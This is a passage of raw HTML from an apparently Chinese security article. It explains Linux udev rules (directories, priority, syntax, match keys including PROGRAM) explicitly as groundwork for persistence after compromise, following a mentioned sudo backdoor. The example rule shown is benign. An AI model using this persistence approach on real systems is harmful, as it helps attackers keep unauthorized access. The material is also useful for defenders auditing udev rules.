8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用户空间守护进程监听内核的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">uevent</span></code><span leaf=""> 事件，之后根据规则文件（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.rules</span></code><span leaf="">）中的规则处理事件</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">下面是一个规则文件的案例</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 匹配特定 USB 设备，为其分配固定名称和权限</span></span><span leaf=""><br/></span><span leaf="">SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;block&#34;</span></span><span leaf="">, ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, ATTRS{idVendor}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0781&#34;</span></span><span leaf="">, ATTRS{idProduct}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;5580&#34;</span></span><span leaf="">, \</span><span leaf=""><br/></span><span leaf="">  SYMLINK+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;my_secure_usb&#34;</span></span><span leaf="">, GROUP=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;users&#34;</span></span><span leaf="">, MODE=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0660&#34;</span></span><span leaf=""><br/></span></code></pre><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">匹配条件</span></strong><span leaf="">：设备为块设备（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SUBSYSTEM==&#34;block&#34;</span></code><span leaf="">），动作为插入（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ACTION==&#34;add&#34;</span></code><span leaf="">），且匹配厂商/产品 ID。</span></p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">执行动作</span></strong><span leaf="">：创建符号链接 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/dev/my_secure_usb</span></code><span leaf="">，设置设备组为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">users</span></code><span leaf="">，权限为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">0660</span></code><span leaf="">。</span></p></section></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">sudo 后门以后，我们不再对二进制文件依赖的共享库 (xxx.so) 文件替换劫持做权限维持做单独说明，主要是探讨通过配置文件的方式进行权限维持</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x02 udev 规则文件</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. 规则文件存储位置</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">udev 的规则文件按照规范一般是 xxxx.rules 文件，udev 的规则文件存在于系统的以下三个位置</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">udev</span></code><span leaf=""> 的规则文件通常存放在以下三个目录中：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><section><span leaf="">目录路径</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">用途说明</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><section><span leaf="">优先级顺序</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><code><span leaf="">/lib/udev/rules.d/</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">系统默认规则</span></strong><section><span leaf="">：由发行版或软件包（如内核、驱动）提供，不可手动修改。</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><section><span leaf="">低</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><code><span leaf="">/etc/udev/rules.d/</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">用户自定义规则</span></strong><section><span leaf="">：由系统管理员手动添加或修改，用于覆盖或扩展默认规则。</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><section><span leaf="">高</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><code><span leaf="">/run/udev/rules.d/</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">临时规则</span></strong><section><span leaf="">：由系统或程序在运行时动态生成，重启后失效。</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><section><span leaf="">中</span></section></td></tr></tbody></table><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019027" data-ratio="0.5787037037037037" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6a4a2d6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJhptXshrIiciczAkmRL3lub5jWk0WfUF6qplTssUn1JkOlJbWIPrIKTWQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019024" data-ratio="0.2" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3df37ec5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJuojBkaUcj6AiblhCBf4icVmmPkpRjLUPHdyukguy3PKLSOS84T7l1saQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019023" class="rich_pages wxw-img" data-ratio="0.16296296296296298" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b19f11da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJFE2R11hjaexuiaI6dEH05AiaNdUnAxkqn0InCd5kXyZcThMX3epNsqAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以看到，这里并没有目录，都是文件，而且文件后缀都是固定的，稍后我们了解配置文件编写规则后，再测试目录以及各种文件名称的有效性</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. 规则文件的加载顺序</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">不同目录的规则优先级</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">尽管文件名决定加载顺序，但目录路径的优先级更高：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/udev/rules.d/</span></code><span leaf=""> 的规则优先级最高</span></strong><span leaf="">（即使文件名数字小，也会覆盖其他目录的规则）</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/run/udev/rules.d/</span></code><span leaf=""> 的规则次之</span></strong></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/lib/udev/rules.d/</span></code><span leaf=""> 的规则优先级最低</span></strong></section></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">优先级总结</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">/etc/udev/rules.d/  -&gt;  /run/udev/rules.d/  -&gt;  /lib/udev/rules.d/</span><span leaf=""><br/></span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3. 规则编写规范</span><span style="display: none;"></span></h3><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://wiki.archlinuxcn.org/wiki/Udev" target="_blank">https://wiki.archlinuxcn.org/wiki/Udev</a></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://man.archlinux.org/man/udev.7" target="_blank">https://man.archlinux.org/man/udev.7</a></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://www.reactivated.net/writing_udev_rules.html" target="_blank">https://www.reactivated.net/writing_udev_rules.html</a></span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">udev 存在的意义是在设备出现变化时对应进行处理，所以整体语法应该是如何标识一个设备或一批设备，也就是匹配、如何标识出变化、如何标识出要做的动作，也就是赋值</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">规则语法</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每条规则由逗号分隔的 </span><strong style="font-weight: bold;color: black;"><span leaf="">键-操作符-值</span></strong><span leaf=""> 表达式组成：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">匹配条件</span></strong><span leaf="">：使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">==</span></code><span leaf=""> 或 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">!=</span></code><span leaf=""> 运算符（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SUBSYSTEM==&#34;usb&#34;</span></code><span leaf="">）。</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">赋值操作</span></strong><span leaf="">：使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">=</span></code><span leaf="">, </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">+=</span></code><span leaf="">, </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-=</span></code><span leaf="">, </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">:=</span></code><span leaf=""> 运算符（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SYMLINK+=&#34;my_device&#34;</span></code><span leaf="">）。</span></section></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">注释</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">规则使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">#</span></code><span leaf=""> 作为注释</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">匹配键</span><span style="display: none;"></span></h4><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">1)  基础设备属性</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">匹配键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ACTION</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备事件类型：</span><code><span leaf="">add</span></code><span leaf="">（添加）、</span><code><span leaf="">remove</span></code><span leaf="">（移除）、</span><code><span leaf="">change</span></code><span leaf="">（状态变更）等。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">KERNEL</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">内核分配的设备名称（如 </span><code><span leaf="">sda</span></code><span leaf="">、</span><code><span leaf="">eth0</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">SUBSYSTEM</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备所属子系统（如 </span><code><span leaf="">block</span></code><span leaf="">（块设备）、</span><code><span leaf="">usb</span></code><span leaf="">、</span><code><span leaf="">net</span></code><span leaf="">（网络设备））。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">DRIVER</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备绑定的驱动名称（如 </span><code><span leaf="">usb-storage</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">DEVPATH</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备在 </span><code><span leaf="">/sys</span></code><span leaf=""> 中的路径（如 </span><code><span leaf="">/devices/pci0000:00/0000:00:1a.0/usb1</span></code><span leaf="">）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">2) 设备属性（</span><code><span leaf="">sysfs</span></code><span leaf=""> 属性）</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">匹配键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ATTR{filename}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备的 </span><code><span leaf="">sysfs</span></code><span leaf=""> 属性文件值（如 </span><code><span leaf="">ATTR{size}==&#34;4096&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ATTRS{filename}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">向上级设备查找 </span><code><span leaf="">sysfs</span></code><span leaf=""> 属性（用于跨层级匹配，如 </span><code><span leaf="">parent</span></code><span leaf=""> 设备的属性）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">3) 环境变量</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">匹配键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ENV{key}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备或全局环境变量（如 </span><code><span leaf="">ENV{ID_MODEL}==&#34;MyDisk&#34;</span></code><span leaf="">）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">4) 设备标签与特征</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">匹配键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">TAG</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备标签（如 </span><code><span leaf="">TAG==&#34;uaccess&#34;</span></code><span leaf="">，用于用户空间访问权限）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">TEST</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">检查文件或目录是否存在（如 </span><code><span leaf="">TEST==&#34;/dev/my_device&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">PROGRAM</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">执行外部程序，若返回值为 </span><code><span leaf="">0</span></code><span leaf=""> 则匹配（需结合 </span><code><span leaf="">RESULT</span></code><span leaf=""> 使用）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">5) 设备关系与拓扑</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: 